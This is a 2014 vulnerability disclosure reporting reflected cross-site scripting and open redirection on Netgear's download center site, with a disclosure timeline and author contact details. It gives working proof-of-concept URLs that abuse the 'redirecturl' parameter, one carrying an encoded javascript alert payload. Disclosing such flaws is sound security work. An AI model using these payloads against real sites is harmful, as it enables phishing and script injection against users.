######################
# Exploit Title : downloadcenter.netgear.com XSS/Open redirection vulnerabilities.

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.netgear.com

# Date : 2014-07-19

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / Chrome
              Linux / Mozilla Firefox

######################

# Descritpion:

The website " downloadcenter.netgear.com " suffers from cross site scripting and open redirection vulnerabilities.

######################

# PoC Exploit:

 Redirection to any (phishing?) site:

1) Connect to url: http://downloadcenter.netgear.com/en/Disclaimer.aspx?redirecturl=http://www.homelab.it

2) Click on "Download" button


 XSS Reflected:
 
1) Connect to url: http://downloadcenter.netgear.com/en/Disclaimer.aspx?redirecturl=javascript://www.xss.com?xss=%250aalert%2528/XSS/%2529

2) Click on "Download" button


# PoC video is available at:

https://www.youtube.com/watch?v=JCDDk_0_mQ8


######################

# Vulnerability Disclosure Timeline:

2014-07-19:  Discovered vulnerability
2014-07-19:  Vendor Notification
2014-08-01:  No Vendor Response/Feedback
2014-08-14:  Vendor Notification
2014-09-19:  No Vendor Response/Feedback 
2014-09-19:  Public Disclosure

######################

Discovered By : Claudio Viviani
    http://www.homelab.it

    info@homelab.it
    homelabit@protonmail.ch

    https://www.facebook.com/homelabit
    https://twitter.com/homelabit
    https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################